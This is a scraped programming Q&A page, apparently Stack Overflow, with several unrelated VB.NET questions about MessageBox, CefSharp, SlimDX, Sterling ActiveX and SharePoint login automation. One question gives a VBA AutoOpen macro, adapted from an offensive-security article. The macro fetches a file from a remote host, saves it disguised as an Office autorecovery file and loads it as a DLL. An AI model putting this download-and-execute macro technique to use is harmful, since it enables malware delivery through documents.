WPF8 Messagebox - vb.net

I'm trying to implement this code:
Dim result As MessageBoxResult = _
MessageBox.Show("Would you like to see the simple version?", _
"MessageBox Example", MessageBoxButton.OKCancel)
If (result = MessageBoxResult.OK) Then
MessageBox.Show("No caption, one button.")
End If
But getting an error: Type 'MessageBoxResult' is not defined
Why is happening?
I'm using: Microsoft Visual Studio Professional 2013 Version 12.0.30501.00 Update 2 Microsoft .NET Framework Version 4.5.51641

Nothing wrong with your code. It should work (I implemented it myself). So it has to be some linking error / install error / or project creation error.
So lets fix, so lets try this:
File -> New -> Project
Select Template -> Visual Basic -> Store App -> windows Phone App -> Blank App (Windows Phone Silverlight)
Select 8.0 as the Target
It should generate you a blank app, then lets try and create a MessageBox on the Page Loaded Event
Imports System
Imports System.Threading
Imports System.Windows.Controls
Imports Microsoft.Phone.Controls
Imports Microsoft.Phone.Shell
Imports System.Windows
Partial Public Class MainPage
Inherits PhoneApplicationPage
' Constructor
Public Sub New()
InitializeComponent()
SupportedOrientations = SupportedPageOrientation.Portrait Or SupportedPageOrientation.Landscape
End Sub
Private Sub PhoneApplicationPage_Loaded(sender As Object, e As RoutedEventArgs)
Dim result As MessageBoxResult = _
MessageBox.Show("Would you like to see the simple version?", _
"MessageBox Example", MessageBoxButton.OKCancel)
If (result = MessageBoxResult.OK) Then
' Do whatever
End If
End Sub
End Class
If that doesn't work then we need to make sure that System.Windows is imported
Right click on the Project -> Properties
Click on References
Make sure System.Windows has a checkmark

If System.Windows didn't resolve then you had a Windows Phone Runtime app (targetting Windows Phone 8.1) rather than a Windows Phone Silverlight app (for either 8.0 or 8.1). Chubosaurus' steps will create a Silverlight app.
You can confirm in the Solution Explorer, which will show the target for the project. To use System.Windows and MessageBox you will need a Windows Phone Silverlight app.
If you have a Windows Phone 8.1 app you can use Windows.UI.Popups.MessageDialog instead
Async Function ShowMyDialog() As Task(Of Boolean)
Dim result As Boolean = False
Dim dialog As New Windows.UI.Popups.MessageDialog("Would you like to see the simple version?", "MessageDialog Example")
dialog.Commands.Add(New Windows.UI.Popups.UICommand("Ok",
Async Sub(command)
result = True
Dim okDialog As New Windows.UI.Popups.MessageDialog("No caption, one button.")
Await okDialog.ShowAsync()
End Sub))
dialog.Commands.Add(New Windows.UI.Popups.UICommand("Cancel"))
dialog.DefaultCommandIndex = 0
dialog.CancelCommandIndex = 1
Await dialog.ShowAsync()
Return result
End Function

Related

Cannot get CefSharp Chromium web brower to work on target PC

I have a Windows VB application developed in Visual Studio 2013 that incorporates a CefSharp Chromium web browser (version 86.0.241 using the NuGet packages). Target CPU is set to x86, the build output path is set to bin\x86\debug, Configuration is set to Active (debug) and the Platform is set to Active (x86). The web browser works great on the development machine, but when I deploy the app to the target machine (which is a server), the browser displays a blank screen and freezes.
The CefSharp support files are included in the deployment package (InnoSetup), but I'm confused on which version of VC++ redistributables I need to deploy.The CefSharp FAQ's state that with versions 65.0.0 and above, the minimum of VC++2015 needs to be deployed. I had the client install this version on the target machine (when I originally deployed this app, I did not include the VC++ redistributables), but the browser still does not work. Do I need to deploy a different version?
Any other ideas on what I'm doing wrong? Please help!
Larry
Here is a link to the .zip file containing the CEF debug.log files from the client's three servers (the three servers rotate based on demand):
https://www.dropbox.com/s/b3zjxxk79v9xl9b/DataMinerDebugLogs.zip?dl=0
Please let me know if any of these provides the reason why the Chromium browser is displaying only a blank page.
Thanks.
Details of the log entry mentioned in my last comment:
[1228/093028.760:INFO:CONSOLE(32)] "Refused to connect to 'https://collection.decibelinsight.net/i/13878/265573/c.json' because it violates the following Content Security Policy directive: "connect-src https://qbonline.api.intuit.net https://cdn.decibelinsight.net https://api.segment.io 'self' https://.intuit.com https://.intuit.com:* https://.intuitcdn.net: https://hosted-shell-assets-us-west-2.s3.us-west-2.amazonaws.com wss://plugin-localhost.intuitcdn.net:* wss://plugin.intuitcdn.net:* https://.intuit.net wss://.msg.liveperson.net/ws_api/account/ https://*.objectstorage.liveperson.net/ https://scripts.neuro-id.com https://api.neuro-id.com https://logs.neuro-id.com".
", source: https://cdn.decibelinsight.net/i/13878/265573/di.js (32)
Code from Auth Class (the form that opens and displays the Chromium browser):
Imports Intuit.Ipp.OAuth2PlatformClient
Imports System.Net
Imports System.IO
Imports System.Web
Imports CefSharp
Imports CefSharp.WinForms
Public Class Auth
Public WithEvents Browser As ChromiumWebBrowser
Dim Settings As New CefSettings
Private Sub Auth_Load(sender As Object, e As EventArgs) Handles MyBase.Load
oauthClient = New OAuth2Client(ClientID, ClientSecret, RedirectURL, "production")
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12
Dim scopes As List(Of OidcScopes) = New List(Of OidcScopes)()
scopes.Add(OidcScopes.Accounting)
authorizeURL = oauthClient.GetAuthorizationURL(scopes)
Settings.CefCommandLineArgs.Add("disable-gpu")
Browser = New ChromiumWebBrowser(authorizeURL)
Me.Controls.Add(Browser)
Browser.Dock = DockStyle.Fill
End Sub
Private Sub Browser_AddressChanged(sender As Object, e As AddressChangedEventArgs) Handles Browser.AddressChanged
Dim Str As String = Browser.Address
If InStr(Str, "&realmID", CompareMethod.Text) Then
Dim q = HttpUtility.ParseQueryString(Browser.Address)
Dim Code As String = ""
Dim RealmID As String = ""
For Each key In q.Keys
If InStr(key, "code") Then
Code = q.Item(key)
ElseIf InStr(key, "realmId", CompareMethod.Text) Then
RealmID = q.Item(key)
End If
Next
Call GetAuthTokens(Code, RealmID)
End If
End Sub
End Class
The "Address_Changed" event can be ignored and the first 5 lines of the "Load" event all relate to another SDK used in the app, none of which is related to the Chromium browser.
Startup code added:
Shared Sub Main()
'This sub executes first.
Dim Settings As New CefSettings
Settings.CefCommandLineArgs.Add("disable-gpu")
cef.initialize(Settings)
Application.EnableVisualStyles()
Application.SetCompatibleTextRenderingDefault(False)
Application.Run(New MainMenu)
End Sub

How to dynamically load a DLL in VBA using a DLL Trick

I'm reading this article:
https://labs.f-secure.com/archive/dll-tricks-with-vba-to-improve-offensive-macro-capability/
and for some reason I can't seem to replicate the second Dll trick i.e Storing Seemingly "Legitimate" Office Files That Are Really DLLs.
What I've already tried is created a simple c# DLL with an exported function that only displays a Message-box saying ".NET Assembly Running".
The test.dll is run like so from the command line:
rundll32 test.dll,TestExport
But when I follow the article for some reason the code keeps failing.
Here's my modified VBA after following the article:
Private Declare Sub TestExport Lib "Autorecovery save of Doc3.asd" ()
Sub AutoOpen()
Dim PathOfFile As String
PathOfFile = Environ("AppData") & "\Microsoft\Word"
VBA.ChDir PathOfFile
Dim remoteFile As String
Dim HTTPReq As Object
remoteFile = "http://192.168.100.2:8443/test.js"
storein = "Autorecovery save of Doc3.asd"
Set HTTPReq = CreateObject("Microsoft.XMLHTTP")
HTTPReq.Open "GET", remoteFile, False
HTTPReq.send
If HTTPReq.Status = 200 Then
Set output = CreateObject("ADODB.Stream")
output.Open
output.Type = 1
output.Write HTTPReq.responseBody
output.SaveToFile storein, 2
output.Close
Module2.Invoke
End If
End Sub
Sub Invoke()
TestExport
End Sub
And here's the C# code for the DLL:
using System;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace Test
{
class Test
{
[DllExport]
public static void TestExport()
{
MessageBox.Show(".NET Assembly Running");
}
}
}
I expected it to work just don't know why it didn't fit my VBA.
It does not work like that in VBA. The DLL has to be a COM DLL and to be loaded by the VBA project reference. That also means that the DLL has to be registered in the Windows registry. So put your C# away and start VB.NET. Create a dll project and choose a COM-CLASS from the Templates.
Look at the first line here (
<Assembly: CommandClass(GetType(ComClass3))> '<<<<add this !!!!
<ComClass(ComClass3.ClassId, ComClass3.InterfaceId, ComClass3.EventsId)>
Public Class ComClass3
#Region "COM-GUIDs"
Public Const ClassId As String = "94b64220-ce6e-400d-bcc0-d45ba56a14f7"
Public Const InterfaceId As String = "89a8c04e-e1fb-4950-85b2-7c1475156701"
Public Const EventsId As String = "af56d401-6492-4172-bf1e-10fa5e419aa4"
#End Region
Public Sub New()
MyBase.New()
End Sub
sub test
'your code
end sub
End Class
The fun part is that by the assembly advice all your subs and functions show up in VBA without any other action.
TO GET THIS WORK START VS IN ADMINISTRATOR MODE !!! Otherwise it has not the needed rights to also automatically do the dll registering.
If you are happy use some tool to convert the code to c#. Its also possible just to do the interface as a wrapper in VB.net :) Now you can reference the dll in VBA and do all the things with her like you can do with other dlls which work in VBA. Like:
SUB tester
dim x= new comclass3
x.test
end sub
Some pitfalls i forget to mention. VBA and .NET do not speak all the time the same string language. Stupidly one way is converted automatically - the way back not. One talks for example in UTF8 an the other in BSTR. So if nothing or garbage is returned most likely you has not chosen the wrong string converter. I use the auto detect converter from .net if needed. You can get crazy by this. Also do not mix 32bit and 64 bit code or pointers. Autocad for example will nuke up immediatly by this. (Whatever genius drawing you might have inside - it doesnt cares).

Error during device creation (D3DERR_NOTAVAILABLE)

I am trying to convert the SlimDX device creation tutorial from DX11 to DX9. It is a very simple tutorial where you create a windows add a dx9 device and fill the screen with a solid color. However I am getting a D3DERR_NOTAVAILABLE error thrown when I try and create the device. All the code seems to make sense and it looks very similar to the C# code used in the samples. Any Ideas? NOTE: I create a instance of the BaseDisplayclass and call the InitSlimDX method in another class.
Imports SlimDX.Windows
Imports SlimDX.Direct3D9
Imports SlimDX
Imports Device = SlimDX.Direct3D9.Device
Imports Resource = SlimDX.Direct3D9.Resource
Imports System.Windows.Forms.ThreadExceptionDialog
Imports System.IO
Public Class BaseDisplay
Inherits RenderForm
'SlimDX Class Vars
Protected device As Device = Nothing
Protected backBuffer As Surface
Protected presentParams As PresentParameters
Public Sub New()
Show()
End Sub
Public Sub InitSlimDX()
Dim d3d As Direct3D = New Direct3D()
Dim primaryAdaptor As AdapterInformation = d3d.Adapters().First()
presentParams = New PresentParameters()
With presentParams
.BackBufferWidth = Me.ClientSize.Width
.BackBufferHeight = Me.ClientSize.Height
End With
Me.device = New Device(d3d, primaryAdaptor.Adapter, DeviceType.Hardware, Me.Handle, CreateFlags.HardwareVertexProcessing, presentParams)
Me.device.BeginScene()
backBuffer = device.GetBackBuffer(0, 0)
Me.device.ColorFill(backBuffer, New Color4(Color.CornflowerBlue))
Me.device.EndScene()
Me.device.Present()
End Sub
Public Overloads Sub Dispose()
device.Dispose()
MyBase.Dispose()
End Sub
End Class
I figured out what my problem was. Earlier I was messing with my DX9 settings in the DirectX control panel and for some reason I enabled the "Software Only" setting which disabled hardware acceleration. disabling this option fixed the issue.

Visual Basic Sterling ActiveX Error

I'm new to Visual Basic, and I'm having trouble with a program that I'm working on. I'm using the Sterling ActiveX library to create a basic functional program that does an easy task (sending an order) for the Sterling Trader software. I'm just trying to make something basic that works and that I can build off of. Here's my code so far:
Imports SterlingLib
Public Class Form1
Dim WithEvents m_STIEvents As STIEvents
Private Declare Sub GetLocalTime Lib "kernel32" (ByRef lpSystemTime As SYSTEMTIME)
Private Structure SYSTEMTIME
Dim wYear As Short
Dim wMonth As Short
Dim wDayOfWeek As Short
Dim wDay As Short
Dim wHour As Short
Dim wMinute As Short
Dim wSecond As Short
Dim wMilliseconds As Short
End Structure
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
m_STIEvents = New STIEvents
End Sub
Private Sub m_STIEvents_OnSTIOrderUpdateMsg(ByVal oSTIOrderUpdateMsg As SterlingLib.STIOrderUpdateMsg) Handles m_STIEvents.OnSTIOrderUpdateMsg
Dim order As STIOrder
order = New STIOrder
Dim storder As structSTIOrder
storder.bstrAccount = "ACCT7"
storder.bstrSide = "B"
storder.bstrSymbol = "CSCO"
order.Quantity = "500"
storder.bstrStrPriceType = SterlingLib.STIPriceTypes.ptSTIMkt
storder.bstrTif = "D"
storder.bstrDestination = "NYSE"
Dim theTime As SYSTEMTIME
GetLocalTime(theTime)
storder.bstrClOrderId = storder.bstrAccount & theTime.wYear & theTime.wMonth & theTime.wDay & theTime.wHour & theTime.wMinute & theTime.wSecond & theTime.wMilliseconds
Dim ret As Integer
ret = order.SubmitOrder
End Sub
Private Function Text1() As Object
Throw New NotImplementedException
End Function
End Class
When I run this program, I get the following error:
"Unhandled exception has occurred in your application. If you click Continue, the application will ignore this error and attempt to continue. If you click Quit, the application will close immediately.
Retrieving the COM class factory for component with CLSID {5E89F49B-6A12-420F-8570-E510EF1B580A} failed due to the following error: 800700c1."
What does this mean, and how can I correct it? When I debug, it highlights "m_STIEvents = New STIEvents" as the line where things are going wrong, but I can't figure it out.
You can reverse-engineer the error code, 0x800700c1. If not through Google then by design. The 8 makes it an error. The 7 is the "facility code", where the error originated, 7 means Windows. Which makes the last 4 digits a Windows error code. 0x00c1 = error 193. Which you can lookup many ways, one is by looking at the Windows SDK's WinError.h file:
//
// MessageId: ERROR_BAD_EXE_FORMAT
//
// MessageText:
//
// %1 is not a valid Win32 application.
//
#define ERROR_BAD_EXE_FORMAT 193L
The kind of error code that's invariably generated on a 64-bit operating system. Running 64-bit code and trying to load a legacy 32-bit ActiveX component.
Which suggests the easy fix: right-click your EXE project in the Solution Explorer windows. Properties, Compile tab, scroll down, Advanced Compile Options button. Change the Target CPU setting to "x86" to force your VB.NET code to run in 32-bit mode so it can load that ActiveX control. Or if it is already set to x86 then change it to "AnyCPU" to take care of the oddball chance that this is a 64-bit ActiveX control.
Contact the vendor of the component if that didn't work or you have any additional problems.
I don't know if you have solved this problem. The way I solved it was installing vb6 on my computer. I tried all the other ways and none of those works. This API is pretty old. Install vb6 solved my problem. Also if you want the program work, you have to login sterling trader pro. Good luck.

Have Windows Authentication use default login page instead of popup dialog in Sharepoint 2010

Is there a way to have simple windows authentication for a public facing site (anonymous viewing is enabled so as to view the login page) but insatead of it popping up the windows auth dialog, to use a login page (aspx). I saw something similar when i switched to mixed mode authentication. SharePoint has a dropdown with "windows authentication" or "forms authentication". What i need is something similar, but just the "windows authentication" option.
I've seen similar questions on SO, but they all involve creating a custom login page. The ideal solution would involve no new pages and no coding.
Is this possible?
This could be done by launching the sharepoint page's address in internet explorer, and using some pinvoke api to send keys or settext to the login box.
I fanagled this setup for a vb.net forms application. It works on my XP. I haven't tried it in Windows 7 yet, but I'm sure it needs some adjustment for it to work there.
This uses a library called WindowScraper, from here: http://www.programmersheaven.com/download/56171/download.aspx
This library has a bunch of winapi and pinvoke built in. If your assembly won't allow it (because you are using VS 2010, perhaps), saying it doesn't have a strong name, then use SharpDevelop and rebuild the solution after adding your own certificate.
Then put the dll in your application directory and add a reference.
Then add the imports:
Imports WindowScrape
Imports WindowScrape.Constants
Imports WindowScrape.Types
Finally, the code (put all this in a module or class):
Private Property PortalAddress As String = "http://myportal#somewhere.com"
Private Property logintitle As String = "Connect to myportal#somewhere.com"
Public Sub openPortal()
If My.Computer.Info.OSFullName = "Microsoft Windows XP Professional" then
LoginToPortalXP()
Else
msgbox("Someday, we will be able to log you in automatically" & vbCr & "But it isn't ready yet.")
End If
End Sub
Private Function IsWindowReady(Optional ByVal timeout As integer = 10000)
Dim isready As Boolean = false
Dim timer As Integer = 1000
Do Until Not loginBox is nothing or timer = timeout
Thread.Sleep(1000)
loginbox = HwndObject.GetWindowByTitle(logintitle)
timer = timer + 1000
loop
If Not loginbox is nothing then isready = true
Return isready
End Function
Sub LoginToPortalXP()
Try
Dim TheBrowser As Object = CreateObject("InternetExplorer.Application")
TheBrowser.Visible = True
TheBrowser.Navigate(PortalAddress)
If Not IsWindowReady then debug.print("failed") : Exit sub
Dim sys As HwndObject = loginbox.GetChildren(1) 'SysCredential
sys.GetChildren(1).Text = "myUserName" 'username box
Thread.Sleep(500)
sys.GetChildren(4).Text = "myPassword" 'password box
Thread.Sleep(500)
loginbox.GetChildren(2).Click() 'push the okay button
Catch ex As Exception
msgbox("ERROR AutoLogging into Portal: " & vbcr & & ex.Message)
Finally
End Try
End Sub
I added the timer just in case it takes longer. You can change the timeout, of course.